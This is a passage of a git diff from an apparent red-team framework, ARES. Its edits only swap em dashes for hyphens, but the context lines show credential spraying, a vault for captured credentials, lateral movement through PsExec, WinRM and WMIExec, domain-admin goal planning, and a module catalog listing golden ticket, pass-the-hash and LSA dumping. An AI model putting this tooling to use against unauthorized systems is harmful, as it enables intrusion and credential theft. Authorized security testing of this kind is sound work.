**must** implement this method for each protocol."""- raise NotImplementedError( # abstract — each protocol validator must override+ raise NotImplementedError( # abstract - each protocol validator must overridef"{self.__class__.__name__} must implement test()")@@ -157,7 +157,7 @@ class _WinRMValidator(_ProtocolValidator):import winrmfrom winrm.exceptions import InvalidCredentialsError, WinRMError, WinRMTransportErrorexcept ImportError:- return False, "pywinrm not installed — run: pip install pywinrm"+ return False, "pywinrm not installed - run: pip install pywinrm"loop = asyncio.get_running_loop()@@ -204,14 +204,14 @@ class _SSHValidator(_ProtocolValidator):def _connect() -> tuple[bool, str]:client = paramiko.SSHClient()# AutoAddPolicy is required here because credential spray tests many- # hosts — supplying a known_hosts file is impractical at this stage.+ # hosts - supplying a known_hosts file is impractical at this stage.# Risk: MITM on untrusted networks can intercept credentials.# Operator should run credential reuse only from a trusted pivot or# secured operator workstation, not from hotel/public wifi.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())import logging as _log_log.getLogger("ares.credential.reuse").warning(- "ssh_host_key_unverified host=%s — MITM risk on untrusted networks; "+ "ssh_host_key_unverified host=%s - MITM risk on untrusted networks; ""run credential reuse only from a secured operator workstation.",host,)@@ -433,7 +433,7 @@ class ReuseEngine:result.failures += 1def _should_skip(self, host: str, cred: Credential) -> bool:- """Lockout protection — skip if attempt count exceeds threshold."""+ """Lockout protection - skip if attempt count exceeds threshold."""key = f"{host}:{cred.username.lower()}"if self._attempt_counts.get(key, 0) >= self.lockout_threshold:logger.debug("reuse_skip_lockout_protection", host=host, username=cred.username)@@ -448,8 +448,8 @@ class ReuseEngine:# ── Public aliases (backward compatibility) ───────────────────────────────-#: Alias for ReuseEngine — canonical export name used by tests and external tooling+#: Alias for ReuseEngine - canonical export name used by tests and external toolingCredentialReuser = ReuseEngine-#: Alias for ReuseResult — descriptive name for import+#: Alias for ReuseResult - descriptive name for importReuseResult = ReuseResult # noqa: PLW0127 (self-assignment for explicit export)diff --git a/ares/credential/vault.py b/ares/credential/vault.pyindex ea8b400..52426ef 100644--- a/ares/credential/vault.py+++ b/ares/credential/vault.py@@ -1,5 +1,5 @@"""-ARES Credential Intelligence Engine — Vault+ARES Credential Intelligence Engine - VaultEncrypted, scored, deduplicated credential store.Credential lifecycle:@@ -78,7 +78,7 @@ class PrivilegeLevel(str, Enum):class Credential:"""A single credential entry in the vault.- Secret value is NEVER stored in plaintext — always Fernet-encrypted.+ Secret value is NEVER stored in plaintext - always Fernet-encrypted."""id: str = field(default_factory=lambda: str(uuid.uuid4()))campaign_id: str = ""@@ -160,7 +160,7 @@ class Credential:# ── Scoring engine ─────────────────────────────────────────────────────────────class CredentialScorer:- """Deterministic scorer — assigns 0.0–10.0 intelligence score."""+ """Deterministic scorer - assigns 0.0–10.0 intelligence score."""# Base scores by credential typeTYPE_SCORES: dict[CredentialType, float] = {@@ -224,8 +224,8 @@ class CredentialVault:Thread-safe for async use (single asyncio event loop)."""- # Legacy salt — only for decrypting old credential entries (backward compat)- # Legacy fixed salt — ONLY for decrypting vault records written before v6.+ # Legacy salt - only for decrypting old credential entries (backward compat)+ # Legacy fixed salt - ONLY for decrypting vault records written before v6.# Security rationale: static because it was the global salt in v5 and earlier.# All new writes use per-record random salts (see store()).# Override via ARES_VAULT_LEGACY_SALT env var if you rotated this in your deployment.@@ -249,7 +249,7 @@ class CredentialVault:if isinstance(encryption_key, str)else bytes(encryption_key))- # Instance-level random salt — used for encrypt(); embedded as prefix in ciphertext+ # Instance-level random salt - used for encrypt(); embedded as prefix in ciphertextself._salt = _os.urandom(16)self._salt_hex = self._salt.hex()self._fernet = self._derive_fernet(self._salt)@@ -281,7 +281,7 @@ class CredentialVault:Args:cred: Credential metadata (no plaintext secret)- secret: The actual secret — encrypted immediately on entry+ secret: The actual secret - encrypted immediately on entry"""if not secret:raise ValueError("Cannot store credential with empty secret")@@ -332,7 +332,7 @@ class CredentialVault:return cred.iddef add(self, cred: "Any" = None, secret: str = "", **kwargs: Any) -> str:- """Alias for store() — supports both Credential model and kwargs."""+ """Alias for store() - supports both Credential model and kwargs."""if isinstance(cred, Credential):return self.store(cred, secret)username = str(kwargs.get("username") or (cred if isinstance(cred, str) else ""))@@ -391,7 +391,7 @@ class CredentialVault:salt = bytes.fromhex(token_str[:32])fernet_token = token_str[33:].encode()return self._derive_fernet(salt).decrypt(fernet_token).decode()- # Legacy fallback — fixed salt+ # Legacy fallback - fixed saltreturn self._derive_fernet(self._LEGACY_SALT).decrypt(raw).decode()return self._fernet.decrypt(raw).decode()@@ -412,7 +412,7 @@ class CredentialVault:cred.reuse_targets.append(target_host)def mark_cracked(self, cred_id: str, plaintext: str) -> None:- """Update hash credential when cracked — rescore and store plaintext."""+ """Update hash credential when cracked - rescore and store plaintext."""cred = self._store.get(cred_id)if not cred:return@@ -440,7 +440,7 @@ class CredentialVault:min_score: float = 2.0,) -> list[Credential]:"""- Return credentials suitable for reuse/spray — scored, active, usable.+ Return credentials suitable for reuse/spray - scored, active, usable.Sorted by score descending (highest value first)."""creds = [@@ -474,7 +474,7 @@ class CredentialVault:"""Re-hydrate vault from DB records after engine restart or crash.- Records come from db.load_credentials_raw() — secrets are already+ Records come from db.load_credentials_raw() - secrets are alreadyFernet-encrypted by this vault's key so reveal() works correctly.Usage:diff --git a/ares/db/database.py b/ares/db/database.pyindex 7d32682..d65deb3 100644--- a/ares/db/database.py+++ b/ares/db/database.py@@ -1,5 +1,5 @@"""-ARES Database — async SQLite via aiosqlite.+ARES Database - async SQLite via aiosqlite.All credential/token content encrypted at rest via Fernet."""@@ -616,7 +616,7 @@ class AresDatabase:def _require_connected(self) -> aiosqlite.Connection:if not self._connected or self._conn is None:- raise RuntimeError("Database not connected — call await db.connect() first")+ raise RuntimeError("Database not connected - call await db.connect() first")return self._conn@property@@ -746,7 +746,7 @@ class AresDatabase:return await PostgresDatabase.create(dsn=url, encryption_key=encryption_key)- # SQLite path — strip dialect prefix if present+ # SQLite path - strip dialect prefix if presentfor prefix in ("sqlite+aiosqlite:///", "sqlite:///"):if url.startswith(prefix):url = url[len(prefix) :]@@ -1264,7 +1264,7 @@ class AresDatabase:# ── Backup / export ───────────────────────────────────────────────────────async def checkpoint_wal(self) -> None:- """Force a WAL checkpoint — consolidates WAL into main DB file.+ """Force a WAL checkpoint - consolidates WAL into main DB file.Call periodically (e.g. hourly) or before taking a file-system backup."""await self._conn.execute("PRAGMA wal_checkpoint(TRUNCATE)")await self._conn.commit()@@ -1272,7 +1272,7 @@ class AresDatabase:async def export_json(self, output_path: str | None = None) -> str:"""Export all campaigns + findings to JSON.- Safe to call during engagement — read-only snapshot.+ Safe to call during engagement - read-only snapshot.Returns the output file path written.Default path: ~/.ares/backups/ares_export_<timestamp>.json@@ -2056,7 +2056,7 @@ class AresDatabase:c.campaign_id,c.host_id,c.username,- c.secret, # already vault-encrypted — store verbatim+ c.secret, # already vault-encrypted - store verbatimc.cred_type,c.domain,c.source_module,@@ -2068,7 +2068,7 @@ class AresDatabase:async def load_credentials_raw(self, campaign_id: str) -> list[dict]:"""Load all credentials for a campaign from DB as raw dicts.- Secrets are returned as-is (Fernet-encrypted by CredentialVault) —+ Secrets are returned as-is (Fernet-encrypted by CredentialVault) -use CredentialVault.restore_from_db_records() to re-hydrate."""async with self._conn.execute(@@ -3352,7 +3352,7 @@ class AresDatabase:import hashlib# Generate cryptographically strong random token- raw_token = secrets.token_urlsafe(48) # 384 bits — URL-safe, client sees this+ raw_token = secrets.token_urlsafe(48) # 384 bits - URL-safe, client sees thistoken_hash = hashlib.sha256(raw_token.encode()).hexdigest() # stored in DBexpires_at = (datetime.now(timezone.utc) + timedelta(days=expires_days)).isoformat()await self._conn.execute(@@ -3957,7 +3957,7 @@ class AresDatabase:)await self._conn.commit()except Exception:- # Table may not exist yet — create it+ # Table may not exist yet - create itawait self._ensure_bypass_outcomes_table()await self._conn.execute("""INSERT INTO bypass_outcomesdiff --git a/ares/db/postgres.py b/ares/db/postgres.pyindex 0118514..5bd0a78 100644--- a/ares/db/postgres.py+++ b/ares/db/postgres.py@@ -1,5 +1,5 @@"""-ARES Database — PostgreSQL async backend via asyncpg.+ARES Database - PostgreSQL async backend via asyncpg.Used when ARES_DATABASE_URL starts with postgresql+asyncpg:// or postgresql://.@@ -13,11 +13,11 @@ Configuration (.env):ARES_ENCRYPTION_KEY=<fernet-key>Design:- - Same public API as AresDatabase (SQLite) — zero changes to server.py or engine.py+ - Same public API as AresDatabase (SQLite) - zero changes to server.py or engine.py- asyncpg connection pool (min=2, max=10)- All credential/token content encrypted at rest via Fernet (same as SQLite backend)- Alembic-managed migrations: `alembic -x db_url=<url> upgrade head`- - Parameterized queries throughout — no string interpolation+ - Parameterized queries throughout - no string interpolationProduction checklist:□ Create ares_user with CREATEDB privilege or pre-create ares_db@@ -2276,7 +2276,7 @@ def _classify_postgres_revision(values: tuple[object, ...]) -> str:class PostgresDatabase:"""Async PostgreSQL database backend via asyncpg.- Public API is identical to AresDatabase (SQLite) — drop-in replacement.+ Public API is identical to AresDatabase (SQLite) - drop-in replacement.Usage:db = await PostgresDatabase.create(@@ -2293,7 +2293,7 @@ class PostgresDatabase:pool_min: int = 2,pool_max: int = 10,) -> None:- # Strip SQLAlchemy dialect prefix — asyncpg uses plain postgres:// DSN+ # Strip SQLAlchemy dialect prefix - asyncpg uses plain postgres:// DSNself._dsn = dsn.replace("postgresql+asyncpg://", "postgresql://").replace("postgres+asyncpg://", "postgres://")@@ -5431,7 +5431,7 @@ class PostgresDatabase:"""Persist a credential whose secret is ALREADY Fernet-encrypted byCredentialVault. Skips _enc_val() to prevent double-encryption.- Mirrors database.py implementation — required by engine._persist_vault_credentials().+ Mirrors database.py implementation - required by engine._persist_vault_credentials()."""async with self._pool.acquire() as conn:await conn.execute(@@ -5448,7 +5448,7 @@ class PostgresDatabase:cred.campaign_id,cred.host_id,cred.username,- cred.secret, # already vault-encrypted — store verbatim, no _enc_val()+ cred.secret, # already vault-encrypted - store verbatim, no _enc_val()cred.cred_type,cred.domain,cred.source_module,@@ -5458,7 +5458,7 @@ class PostgresDatabase:async def load_credentials_raw(self, campaign_id: str) -> list[dict]:"""Load all credentials for a campaign as raw dicts.- Secrets returned as-is (Fernet-encrypted by CredentialVault) —+ Secrets returned as-is (Fernet-encrypted by CredentialVault) -use CredentialVault.restore_from_db_records() to re-hydrate.Required by server.py POST /campaigns/{id}/restore-vault endpoint."""@@ -6671,7 +6671,7 @@ class PostgresDatabase:)async def checkpoint_wal(self) -> None:- """No-op for PostgreSQL — WAL is managed by the server."""+ """No-op for PostgreSQL - WAL is managed by the server."""async def export_json(self, output_path: str | None = None) -> str:"""Export all campaigns + findings to JSON (same interface as SQLite backend)."""diff --git a/ares/db/schema.py b/ares/db/schema.pyindex 3a3fec1..e85cbee 100644--- a/ares/db/schema.py+++ b/ares/db/schema.py@@ -1,18 +1,18 @@"""-ARES Database Schema — v5+ARES Database Schema - v5SQLite WAL mode via aiosqlite. All credential/token content encrypted at rest.Tables (v5 additions marked ★):- schema_version — migration tracking- campaigns — engagement metadata- findings — vulnerability findings with MITRE mapping- hosts — discovered hosts and services- credentials — captured attack credentials (encrypted)- loot — captured artifacts (hashes, tokens, files)- audit_log — append-only action log- ★ users — operator accounts (replaces in-memory dict)- ★ api_keys — long-lived API keys for CI/CD automation- ★ refresh_tokens — JWT refresh tokens with expiry tracking+ schema_version - migration tracking+ campaigns - engagement metadata+ findings - vulnerability findings with MITRE mapping+ hosts - discovered hosts and services+ credentials - captured attack credentials (encrypted)+ loot - captured artifacts (hashes, tokens, files)+ audit_log - append-only action log+ ★ users - operator accounts (replaces in-memory dict)+ ★ api_keys - long-lived API keys for CI/CD automation+ ★ refresh_tokens - JWT refresh tokens with expiry tracking"""from __future__ import annotations@@ -340,7 +340,7 @@ CREATE UNIQUE INDEX IF NOT EXISTS uq_refresh_token_one_activeCREATE INDEX IF NOT EXISTS idx_refresh_family_generationON refresh_tokens(family_id,generation);--- Revoked access token JTIs — allows early revocation before natural expiry (60 min TTL)+-- Revoked access token JTIs - allows early revocation before natural expiry (60 min TTL)CREATE TABLE IF NOT EXISTS revoked_access_tokens (jti TEXT PRIMARY KEY, -- JWT jti claimuser_id TEXT NOT NULL,@@ -504,7 +504,7 @@ CREATE INDEX IF NOT EXISTS idx_sso_flow_lookup ON sso_flow_states(flow_id, is_co# Applied automatically by AresDatabase.connect() when SCHEMA_VERSION mismatch.# V5 → V6: adds revoked_access_tokens table for JWT JTI blacklist (logout revocation).-# Databases upgraded from v5 will not have this table — this migration adds it safely+# Databases upgraded from v5 will not have this table - this migration adds it safely# via CREATE TABLE IF NOT EXISTS so running it on a fresh v6 DB is also a no-op.MIGRATION_V5_TO_V6 = """CREATE TABLE IF NOT EXISTS revoked_access_tokens (diff --git a/ares/execution/__init__.py b/ares/execution/__init__.pyindex 7bd3aba..c09bcaf 100644--- a/ares/execution/__init__.py+++ b/ares/execution/__init__.py@@ -1,5 +1,5 @@"""-ARES — execution+ARES - executionRemote command execution backendsPublic API for this package. Import from here in production code:diff --git a/ares/execution/executor.py b/ares/execution/executor.pyindex 79d5d1c..d3692b7 100644--- a/ares/execution/executor.py+++ b/ares/execution/executor.py@@ -103,7 +103,7 @@ class RemoteExecutor:"""target = sanitize_hostname(target)- # Scope enforcement — reject targets outside campaign scope before any+ # Scope enforcement - reject targets outside campaign scope before any# network activity. Mirrors the before_request() guard used in modules.if self.campaign is not None and not self.campaign.is_in_scope(target):logger.warning(@@ -114,7 +114,7 @@ class RemoteExecutor:target=target, method=method,payload_type=payload_type, command=command[:200],operator=self.operator,- stderr=f"Target '{target}' is outside campaign scope — execution blocked.",+ stderr=f"Target '{target}' is outside campaign scope - execution blocked.",exit_code=-1, success=False,)@@ -280,14 +280,14 @@ class RemoteExecutor:async def _run_psexec(self, target, command, username, domain, secret) -> tuple[str, str, int]:"""- PsExec execution — delegates to canonical implementation in lateral.modules.PsExecLateral.+ PsExec execution - delegates to canonical implementation in lateral.modules.PsExecLateral.Canonical code lives in ares/modules/lateral/modules.py."""# Check optional dep before instantiating module (avoids masking ImportError)try:import impacket # noqa: F401except ImportError:- return "", "impacket not installed — run: pip install impacket", 1+ return "", "impacket not installed - run: pip install impacket", 1try:from ares.modules.lateral.modules import PsExecLateralfrom ares.core.campaign import Campaign, NoiseProfile, ScopeEntry@@ -304,7 +304,7 @@ class RemoteExecutor:return "", str(exc)[:300], 1async def _run_winrm(self, target, command, username, domain, secret) -> tuple[str, str, int]:"""- WinRM / PowerShell Remoting execution — delegates to WinRMLateral.move().+ WinRM / PowerShell Remoting execution - delegates to WinRMLateral.move().Canonical implementation lives in ares/modules/lateral/modules.py.Supports both HTTP (port 5985, NTLM) and HTTPS (port 5986, SSL).@@ -314,7 +314,7 @@ class RemoteExecutor:try:import winrm # noqa: F401except ImportError:- return "", "pywinrm not installed — run: pip install pywinrm", 1+ return "", "pywinrm not installed - run: pip install pywinrm", 1try:from ares.modules.lateral.modules import WinRMLateralfrom ares.core.campaign import Campaign@@ -329,7 +329,7 @@ class RemoteExecutor:secret=secret,command=command,)- # LateralResult uses .output/.error — map to stdout/stderr contract+ # LateralResult uses .output/.error - map to stdout/stderr contractreturn (result.output or "",result.error or "",@@ -340,14 +340,14 @@ class RemoteExecutor:async def _run_wmiexec(self, target, command, username, domain, secret) -> tuple[str, str, int]:"""- WMIExec execution — delegates to canonical implementation in lateral.modules.WMIExecLateral.+ WMIExec execution - delegates to canonical implementation in lateral.modules.WMIExecLateral.Canonical code lives in ares/modules/lateral/modules.py."""# Check optional dep before instantiating module (avoids masking ImportError)try:import impacket # noqa: F401except ImportError:- return "", "impacket not installed — run: pip install impacket", 1+ return "", "impacket not installed - run: pip install impacket", 1try:from ares.modules.lateral.modules import WMIExecLateralfrom ares.core.campaign import Campaign@@ -367,7 +367,7 @@ class RemoteExecutor:try:import paramikoexcept ImportError:- return "", "paramiko not installed — run: pip install paramiko", 1+ return "", "paramiko not installed - run: pip install paramiko", 1loop = asyncio.get_running_loop()known_hosts_file = self.known_hosts_file@@ -376,11 +376,11 @@ class RemoteExecutor:client = paramiko.SSHClient()if known_hosts_file:- # Strict verification — reject unknown hosts+ # Strict verification - reject unknown hostsclient.set_missing_host_key_policy(paramiko.RejectPolicy())client.load_host_keys(known_hosts_file)else:- # No known_hosts supplied — auto-accept but warn loudly.+ # No known_hosts supplied - auto-accept but warn loudly.# Risk: MITM can steal credentials on untrusted networks (hotel# wifi, compromised VPN, pivot host). Supply known_hosts_file to# the RemoteExecutor constructor to enable host verification.diff --git a/ares/fingerprint/__init__.py b/ares/fingerprint/__init__.pyindex 339c0c8..8edcbcb 100644--- a/ares/fingerprint/__init__.py+++ b/ares/fingerprint/__init__.py@@ -1,5 +1,5 @@"""-ARES — fingerprint+ARES - fingerprintOS, EDR, and environment fingerprintingPublic API for this package. Import from here in production code:diff --git a/ares/fingerprint/engine.py b/ares/fingerprint/engine.pyindex 78aeb24..dda7e8b 100644--- a/ares/fingerprint/engine.py+++ b/ares/fingerprint/engine.py@@ -10,7 +10,7 @@ Results feed into:Fingerprint techniques (passive-first, then active):1. Banner grabbing (TCP services)- 2. SMB OS fingerprint (via impacket — reads version/domain/hostname)+ 2. SMB OS fingerprint (via impacket - reads version/domain/hostname)3. LDAP rootDSE query (domain role, DC functional level)4. DNS PTR lookup (hostname/domain)5. HTTP User-Agent probing (web panels, Defender APIs)@@ -305,7 +305,7 @@ class EnvironmentFingerprinter:self, result: FingerprintResult, username: str, domain: str, secret: str) -> None:"""- SMB protocol fingerprint — reveals Windows version via negotiate response.+ SMB protocol fingerprint - reveals Windows version via negotiate response.Uses impacket's NMBSession (no credentials needed for version info)."""# Production:@@ -336,7 +336,7 @@ class EnvironmentFingerprinter:self, result: FingerprintResult, username: str, domain: str, secret: str) -> None:"""- LDAP rootDSE anonymous bind — reveals domain name, DC functional level.+ LDAP rootDSE anonymous bind - reveals domain name, DC functional level.No credentials required for rootDSE."""# Production:@@ -358,7 +358,7 @@ class EnvironmentFingerprinter:async def _winrm_fingerprint(self, result: FingerprintResult, username: str, domain: str, secret: str) -> None:- """WinRM HTTP negotiate — reveals OS version in WWW-Authenticate header."""+ """WinRM HTTP negotiate - reveals OS version in WWW-Authenticate header."""# Production:# async with httpx.AsyncClient() as client:# r = await client.get(f"http://{result.host}:5985/wsman",@@ -415,7 +415,7 @@ class EnvironmentFingerprinter:if result.stealth_required:# Disable HIGH_NOISE modules in EDR environmentsdisabled.extend([- "lateral.psexec", # EventID 7045 — very noisy+ "lateral.psexec", # EventID 7045 - very noisy"lateral.rdp", # multiple 4624 events])if result.recommended_profile == "stealth":diff --git a/ares/goal/__init__.py b/ares/goal/__init__.pyindex a619d91..15959c1 100644--- a/ares/goal/__init__.py+++ b/ares/goal/__init__.py@@ -1,5 +1,5 @@"""-ARES — goal+ARES - goalGoal-based attack planning enginePublic API for this package. Import from here in production code:diff --git a/ares/goal/engine.py b/ares/goal/engine.pyindex 052cd1d..952cd45 100644--- a/ares/goal/engine.py+++ b/ares/goal/engine.py@@ -8,12 +8,12 @@ Usage:results = await engine.execute(plan)Goals:- DOMAIN_ADMIN — obtain domain admin credential- ENTERPRISE_ADMIN — obtain enterprise admin- DATA_EXFIL — find and access sensitive data stores- CLOUD_ADMIN — obtain cloud administrator access- PERSISTENCE — establish persistent access- FULL_COMPROMISE — achieve domain admin + cloud admin+ DOMAIN_ADMIN - obtain domain admin credential+ ENTERPRISE_ADMIN - obtain enterprise admin+ DATA_EXFIL - find and access sensitive data stores+ CLOUD_ADMIN - obtain cloud administrator access+ PERSISTENCE - establish persistent access+ FULL_COMPROMISE - achieve domain admin + cloud adminPlanning algorithm (backward chaining):1. Start from goal@@ -236,7 +236,7 @@ class CapabilityGraph:max_depth: prevent infinite recursionReturns:- Ordered list of module IDs (topological order — safe to run sequentially).+ Ordered list of module IDs (topological order - safe to run sequentially)."""resolved: list[str] = []visited: set[str] = set()@@ -436,7 +436,7 @@ class GoalEngine:3. Fallback chains from GoalDefinition4. Best-effort: available modules from primary chain"""- # 1. Preferred chain — use if fully available+ # 1. Preferred chain - use if fully availableif self._chain_feasible(defn.preferred_chain):return defn.preferred_chain@@ -557,7 +557,7 @@ class GoalEngine:)if goal == Goal.CLOUD_ADMIN:# Check for validated cloud credentials (API keys, JWTs, certificates)- # — NOT domain_admins() which checks AD privilege level+ # - NOT domain_admins() which checks AD privilege levelif self.vault is None:return Falsefrom ares.credential.vault import CredentialTypediff --git a/ares/goal/planner.py b/ares/goal/planner.pyindex 366eaa6..de1ab36 100644--- a/ares/goal/planner.py+++ b/ares/goal/planner.py@@ -18,13 +18,13 @@ Algorithm:4. Return ordered recommendations with rationaleScoring factors (each 0.0–1.0):- prereq_met — all REQUIRES already satisfied in session- credential_match — vault has creds matching required privilege- host_reachable — target host is in scope and accessible- technique_value — MITRE technique effectiveness for this goal- kb_score — knowledge base historical success rate- artifact_match — artifact correlator found specific opportunity- novelty — haven't tried this module yet on this target+ prereq_met - all REQUIRES already satisfied in session+ credential_match - vault has creds matching required privilege+ host_reachable - target host is in scope and accessible+ technique_value - MITRE technique effectiveness for this goal+ kb_score - knowledge base historical success rate+ artifact_match - artifact correlator found specific opportunity+ novelty - haven't tried this module yet on this targetUsage:planner = AttackPlanner(registry, session, vault, kb)@@ -104,7 +104,7 @@ class PlannerContext:# ── Scoring weights ────────────────────────────────────────────────────────────_SCORE_WEIGHTS = {- "prereq_met": 0.28, # most important — must have pre-reqs+ "prereq_met": 0.28, # most important - must have pre-reqs"credential_match": 0.18, # having right creds matters a lot"technique_value": 0.18, # MITRE relevance to current goal"artifact_match": 0.15, # artifact correlator found direct path@@ -381,7 +381,7 @@ class AttackPlanner:) -> float:"""How many prerequisites are already satisfied (0.0–1.0)."""if not requires:- return 0.8 # No prereqs — slightly prefer prereq-free in recon phase+ return 0.8 # No prereqs - slightly prefer prereq-free in recon phasemet = sum(1 for r in requires if self._has_capability(r, target, ctx))return met / len(requires)@@ -426,7 +426,7 @@ class AttackPlanner:"""Score based on credential availability for this module."""vault = ctx.vault or self.vaultif not vault:- return 0.3 # No vault — neutral+ return 0.3 # No vault - neutralrequires = getattr(cls, "REQUIRES", [])cred_reqs = [r for r in requires if "cred" in r or "admin" in r]diff --git a/ares/graph/__init__.py b/ares/graph/__init__.pyindex 2fe109e..3d8b35a 100644--- a/ares/graph/__init__.py+++ b/ares/graph/__init__.py@@ -1,5 +1,5 @@"""-ARES — graph+ARES - graphAttack graph construction and path analysisPublic API for this package. Import from here in production code:diff --git a/ares/graph/attack_graph.py b/ares/graph/attack_graph.pyindex 54e057f..831d39c 100644--- a/ares/graph/attack_graph.py+++ b/ares/graph/attack_graph.py@@ -130,7 +130,7 @@ class AttackGraph:"cloud": "#06b6d4", # cyan}- # High-value targets — finding a path to these is the goal+ # High-value targets - finding a path to these is the goalHIGH_VALUE_LABELS = {"Domain Admins", "Enterprise Admins", "Schema Admins","Administrators", "krbtgt", "NTDS.dit",@@ -296,7 +296,7 @@ class AttackGraph:def build_from_store(self, store: ArtifactStore) -> "AttackGraph":"""Automatically build graph from all artifacts in a store.- This is the main entry point — call after a campaign run.+ This is the main entry point - call after a campaign run."""for host in store.hosts():self._add_host(host)@@ -527,7 +527,7 @@ class AttackGraph:return self.shortest_attack_path(src_id, tgt_id)def _find_node_by_label(self, label: str) -> str | None:- """Fuzzy label lookup — returns first matching node ID."""+ """Fuzzy label lookup - returns first matching node ID."""label_lower = label.lower()# Exact match firstfor nid, data in self._g.nodes(data=True):@@ -627,7 +627,7 @@ class AttackGraph:]def riskiest_users(self, top_n: int = 10) -> list[GraphNode]:- """Users sorted by risk score — best attack starting points."""+ """Users sorted by risk score - best attack starting points."""users = [n for n in self._nodes.values()if n.node_type in ("user", "service_account")diff --git a/ares/knowledge/__init__.py b/ares/knowledge/__init__.pyindex 3112690..fe860bc 100644--- a/ares/knowledge/__init__.py+++ b/ares/knowledge/__init__.py@@ -1,5 +1,5 @@"""-ARES — knowledge+ARES - knowledgeAttack knowledge base and evidence storagePublic API for this package. Import from here in production code:diff --git a/ares/knowledge/base.py b/ares/knowledge/base.pyindex 91ab138..e2a1c07 100644--- a/ares/knowledge/base.py+++ b/ares/knowledge/base.py@@ -242,7 +242,7 @@ class EvidenceStore:# Modules yang butuh konfirmasi eksplisit sebelum dieksekusi-_HIGH_RISK_MODULES: set[str] = {"ad.dcsync"} # only dcsync: replicates ALL domain hashes — truly irreversible+_HIGH_RISK_MODULES: set[str] = {"ad.dcsync"} # only dcsync: replicates ALL domain hashes - truly irreversible# IP range yang selalu diblokir (cloud IMDS, loopback, link-local)_ALWAYS_BLOCKED_CIDRS: list[str] = [@@ -405,7 +405,7 @@ class OutcomeTracker:finally:fcntl.flock(lf.fileno(), fcntl.LOCK_UN)except ImportError:- # fcntl not available (Windows) — best-effort write+ # fcntl not available (Windows) - best-effort writeself._path.write_text(_json.dumps(self._data, indent=2))except Exception:pass@@ -420,7 +420,7 @@ class OutcomeTracker:def success_rate(self, module_id: str) -> float:rec = self._data.get(module_id)if not rec or rec["total"] == 0:- return 0.5 # neutral prior — no history yet+ return 0.5 # neutral prior - no history yetreturn rec["success"] / rec["total"]def stats(self, module_id: str) -> dict[str, int | float]:diff --git a/ares/marketplace/__init__.py b/ares/marketplace/__init__.pyindex 967742c..dc7bf54 100644--- a/ares/marketplace/__init__.py+++ b/ares/marketplace/__init__.py@@ -1,5 +1,5 @@"""-ARES — marketplace+ARES - marketplaceModule marketplace installerPublic API for this package. Import from here in production code:diff --git a/ares/marketplace/installer.py b/ares/marketplace/installer.pyindex af3f07d..f7de090 100644--- a/ares/marketplace/installer.py+++ b/ares/marketplace/installer.py@@ -54,7 +54,7 @@ REGISTRY_FILE = Path.home() / ".ares" / "plugins" / "registry.json"# Community module indexCOMMUNITY_INDEX_URL = "https://raw.githubusercontent.com/ares-framework/modules/main/index.json"-# Bundled offline index — always available, no internet required.+# Bundled offline index - always available, no internet required.# `ares module search` and CLI work fully offline using this index.# Live fetch overlays additional community modules when ARES_MARKETPLACE_LIVE=true._BUNDLED_INDEX: "dict" = {@@ -62,7 +62,7 @@ _BUNDLED_INDEX: "dict" = {"source": "bundled","modules": [{"id": "ad.kerberoast", "name": "Kerberoasting", "category": "ad",- "description": "Request TGS tickets for SPN accounts — hashcat-ready hashes",+ "description": "Request TGS tickets for SPN accounts - hashcat-ready hashes","opsec": "medium", "requires": ["domain_creds"], "outputs": ["kerberos_hashes"],"mitre": ["T1558.003"], "builtin": True},{"id": "ad.asreproast", "name": "ASREPRoasting", "category": "ad",@@ -102,7 +102,7 @@ _BUNDLED_INDEX: "dict" = {"opsec": "low", "requires": [], "outputs": [],"mitre": ["T1526", "T1530", "T1552.005"], "builtin": True},{"id": "linux.privesc", "name": "Linux Privilege Escalation","category": "linux",- "description": "SUID, sudo, cron, capabilities, writable PATH — local or remote SSH",+ "description": "SUID, sudo, cron, capabilities, writable PATH - local or remote SSH","opsec": "medium", "requires": [], "outputs": ["privesc_vectors"],"mitre": ["T1548.001", "T1053.003", "T1574.006"], "builtin": True},{"id": "linux.container", "name": "Container Escape", "category": "linux",@@ -126,7 +126,7 @@ _BUNDLED_INDEX: "dict" = {"opsec": "low", "requires": ["ssh_access", "ssh_credentials"],"outputs": ["lateral_session", "socks5_proxy"], "mitre": ["T1021.004"], "builtin": True},{"id": "lateral.rdp", "name": "RDP Lateral", "category": "lateral",- "description": "RDP lateral movement — high noise",+ "description": "RDP lateral movement - high noise","opsec": "high_noise", "requires": ["rdp_access", "domain_creds"],"outputs": ["lateral_session"], "mitre": ["T1021.001"], "builtin": True},{"id": "exfil.smb_shares", "name": "SMB Share Enumeration", "category": "exfil",@@ -174,7 +174,7 @@ _BUNDLED_INDEX: "dict" = {"mitre": ["T1046","T1590"], "builtin": True},# ── Windows modules ──{"id": "windows.token_impersonation","name": "Token Impersonation","category": "windows",- "description": "Detect SeImpersonatePrivilege — prerequisite for Potato-family LPE",+ "description": "Detect SeImpersonatePrivilege - prerequisite for Potato-family LPE","opsec": "medium", "requires": ["lateral_session"], "outputs": ["privesc_vectors"],"mitre": ["T1134.001", "T1134.002"], "builtin": True},{"id": "windows.lsa_secrets", "name": "LSA Secrets & SAM Dump", "category": "windows",@@ -183,12 +183,12 @@ _BUNDLED_INDEX: "dict" = {"mitre": ["T1003.002", "T1003.004"], "builtin": True},# ── Linux extra modules ──{"id": "linux.kernel_suggester","name": "Kernel Exploit Suggester","category": "linux",- "description": "Map kernel version to known LPE CVEs — detection only, no exploitation",+ "description": "Map kernel version to known LPE CVEs - detection only, no exploitation","opsec": "low", "requires": ["ssh_credentials"], "outputs": ["privesc_vectors"],"mitre": ["T1068", "T1082"], "builtin": True},# ── Credential extra modules ──{"id": "credential.golden_ticket","name": "Golden Ticket Forgery", "category": "credential",- "description": "Forge Kerberos TGT using krbtgt hash — persistent domain access",+ "description": "Forge Kerberos TGT using krbtgt hash - persistent domain access","opsec": "medium", "requires": ["ntlm_hashes", "domain_admin_creds"], "outputs": ["golden_ticket"],"mitre": ["T1558.001"], "builtin": True},{"id": "credential.pass_the_hash","name": "Pass-the-Hash", "category": "credential",@@ -223,7 +223,7 @@ _BUNDLED_INDEX: "dict" = {],}-# Live community index — fetched from GitHub when ARES_MARKETPLACE_LIVE=true.+# Live community index - fetched from GitHub when ARES_MARKETPLACE_LIVE=true.# Disabled by default: the public ares-framework/modules repo is not yet published.# Enable: export ARES_MARKETPLACE_LIVE=trueimport os as _os@@ -415,7 +415,7 @@ class ModuleInstaller:source_url = entry.get("source_url", "")if not source_url:- raise ValueError(f"No source URL recorded for '{module_id}' — cannot auto-update")+ raise ValueError(f"No source URL recorded for '{module_id}' 